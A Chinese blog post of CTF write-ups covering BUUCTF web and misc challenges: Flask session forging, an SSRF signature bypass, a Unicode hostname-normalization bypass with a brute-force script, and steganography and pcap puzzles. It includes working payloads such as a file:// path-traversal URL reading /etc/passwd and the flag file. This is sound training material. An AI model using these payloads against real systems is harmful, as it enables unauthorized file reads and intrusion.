BUUCTF-刷题记录-3

本文介绍了多个CTF比赛中的Web安全题目,涉及源码分析、SSRF漏洞利用、JWT解密、Unicode编码攻击、隐写术解密等技术。通过解析题目提供的源码,选手构造特定的请求来绕过验证,读取敏感文件,最终获取flag。文章展示了Web安全攻防中的常见技巧和思路。
摘要由CSDN通过智能技术生成

WEB

[HCTF 2018]admin

页面没什么功能点,注册一个账号并登录,在更改密码的页面发现注释,存在源码。

config.py中发现SECRET_KEY:ckj123,同时发现session为jwt,去解密一下。

kab1改成admin以及10改成1得到的session与原来的进行更换,得到flag。

[De1CTF 2019]SSRF Me

题目给了源码

#! /usr/bin/env python
#encoding=utf-8
from flask import Flask
from flask import request
import socket
import hashlib
import urllib
import sys
import os
import json
reload(sys)
sys.setdefaultencoding('latin1')

app = Flask(__name__)

secert_key = os.urandom(16)


class Task:
    def __init__(self, action, param, sign, ip):
        self.action = action
        self.param = param
        self.sign = sign
        self.sandbox = md5(ip)
        if(not os.path.exists(self.sandbox)):          #SandBox For Remote_Addr
            os.mkdir(self.sandbox)

    def Exec(self):
        result = {}
        result['code'] = 500
        if (self.checkSign()):
            if "scan" in self.action:
                tmpfile = open("./%s/result.txt" % self.sandbox, 'w')
                resp = scan(self.param)
                #可以读取文件
                if (resp == "Connection Timeout"):
                    result['data'] = resp
                else:
                    print(resp)
                    tmpfile.write(resp)
                    tmpfile.close()
                result['code'] = 200
            if "read" in self.action:
                f = open("./%s/result.txt" % self.sandbox, 'r')
                result['code'] = 200
                result['data'] = f.read()
            if result['code'] == 500:
                result['data'] = "Action Error"
        else:
            result['code'] = 500
            result['msg'] = "Sign Error"
        return result

    def checkSign(self):
        if (getSign(self.action, self.param) == self.sign):
            return True
        else:
            return False

#generate Sign For Action Scan.
@app.route("/geneSign", methods=['GET', 'POST'])
def geneSign():
    param = urllib.unquote(request.args.get("param", ""))
    action = "scan"
    #此处action被定为scan
    return getSign(action, param)

@app.route('/De1ta',methods=['GET','POST'])
def challenge():
    action = urllib.unquote(request.cookies.get("action"))
    param = urllib.unquote(request.args.get("param", ""))
    sign = urllib.unquote(request.cookies.get("sign"))
    ip = request.remote_addr
    if(waf(param)):
        return "No Hacker!!!!"
    task = Task(action, param, sign, ip)
    return json.dumps(task.Exec())
@app.route('/')
def index():
    return open("code.txt","r").read()

def scan(param):
    socket.setdefaulttimeout(1)
    try:
        return urllib.urlopen(param).read()[:50]
    except:
        return "Connection Timeout"

def getSign(action, param):
    return hashlib.md5(secert_key + param + action).hexdigest()

def md5(content):
    return hashlib.md5(content).hexdigest()

def waf(param):
    check=param.strip().lower()
    if check.startswith("gopher") or check.startswith("file"):
    #禁用了gopher和file两个协议
        return True
    else:
        return False

if __name__ == '__main__':
    app.debug = False
    app.run(host='0.0.0.0')

首先看路由:
1、通过/geneSign路由我们可以过的hashlib.md5(secert_key + param + action).hexdigest()的值,且action的值被锁定为scan
2、通过/De1ta路由可以读取文件,通过Exec函数,读取文件的地方已在源码中注释。
3、但是想要执行Exec函数里面的读取文件的代码,还需要通过checkSign()的验证,也就是验证两次的md5值是否相等。
分析完路由开始解题,checkSign()好绕过,通过构造/geneSign?param=xxx即可得到md5值,虽然不知道secert_key的值,但是也没有必要知道,我们只需要得到加密后的md5值,再把它放入sign中,访问/De1ta路由即可。
然后构造/geneSign?param=flag.txtread访问得到9a6fa1811f9ac95a5b6d72c5c12ee9d7,再构造如下内容读取flag

[SUCTF 2019]Pythonginx

题目给了源码

@app.route('/getUrl', methods=['GET', 'POST'])
def getUrl():
    url = request.args.get("url")
    host = parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return "我扌 your problem? 111"
    parts = list(urlsplit(url))
    host = parts[1]
    if host == 'suctf.cc':
        return "我扌 your problem? 222 " + host
    newhost = []
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1] = '.'.join(newhost)
    #去掉 url 中的空格
    finalUrl = urlunsplit(parts).split(' ')[0]
    host = parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return urllib.request.urlopen(finalUrl).read()
    else:
        return "我扌 your problem? 333"
    

这道题用的是这道题用的是blackhat议题之一HostSplit-Exploitable-Antipatterns-In-Unicode-Normalization
网上的一个脚本

from urllib.parse import urlparse,urlunsplit,urlsplit
from urllib import parse
def get_unicode():
    for x in range(65536):
        uni=chr(x)
        url="http://suctf.c{}".format(uni)
        try:
            if getUrl(url):
                print("str: "+uni+' unicode: \\u'+str(hex(x))[2:])
        except:
            pass
 
def getUrl(url):
    url=url
    host=parse.urlparse(url).hostname
    if host == 'suctf.cc':
        return False
    parts=list(urlsplit(url))
    host=parts[1]
    if host == 'suctf.cc':
        return False
    newhost=[]
    for h in host.split('.'):
        newhost.append(h.encode('idna').decode('utf-8'))
    parts[1]='.'.join(newhost)
    finalUrl=urlunsplit(parts).split(' ')[0]
    host=parse.urlparse(finalUrl).hostname
    if host == 'suctf.cc':
        return True
    else:
        return False
 
 
if __name__=='__main__':
    get_unicode()

同样原理构造/getUrl?url=file://suctf.cℂ/../../../../../etc/passwd来读取文件,读取配置文件发现flag的位置,/usr/local/nginx/conf/nginx.conf

最后构造如下payload读取flag

/getUrl?url=file://suctf.cℂ/../../../../../usr/fffffflag
[ASIS 2019]Unicorn shop

进入题目,发现有个购买东西的地方

但是全部购买不成功,如果价格输入两个字符以上,还会说你超出了字符限制(1个字符),再根据题目的提示Unicode,想到输入一个Unicode字符进去购买第四个商品,也就是flag,在这个网站上面找到这样的一个字符

其UTF-8编码为0xE1 0x8D 0xBC,也就是咱们输入%E1%8D%BC即可,然后购买得到flag。

MISC

弱口令

在压缩包的注释中发现东西

将其莫斯解密之后得到密码HELL0FORUM,得到一张图片,使用lsb隐写脚本进行解密,因为题目叫做弱口令,所以尝试密码123456,最后得到flag{jsy09-wytg5-wius8}
python2 lsb.py extract 1.png new 123456

[V&N2020 公开赛]拉胯的三条命令

使用这条命令即可

tcpdump -n -r nmapll.pcapng 'tcp[13] = 18' | awk '{print $3}'| sort -u
[SUCTF 2019]Game

题目给了两个附件,在SRC文件夹的index.html里面发现一段字符串,尝试解密发现是base32的,得到一个假的flag:suctf{hAHaha_Fak3_F1ag}
然后在图片中发现存在lsb隐写,全部开启0通道得到一段字符串,在网上搜索了很多发现是3DES加密,以前是不知道的,这是由字符串的头U2FsdGVkX1判断出来的,然后进行3DES解密即可得到flag,密码为第一次得到的suctf{hAHaha_Fak3_F1ag}3DES在线解密地址

百里挑一

提取出来所有的http请求,发现很多张图片,在kali里面使用如下命令得到一半的flag

剩下来的一半在tcp的114里面(网上搜到的,哈哈,真难找,怎么会有人出这种东西,一点提示没有)

[ACTF新生赛2020]swp

先导出http流中的文件,发现一个伪加密的压缩包,但是我没有手动修复成功,使用ZipCenOp工具修复,成功得到flag。

java -jar .\ZipCenOp.jar r .\secret.zip
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值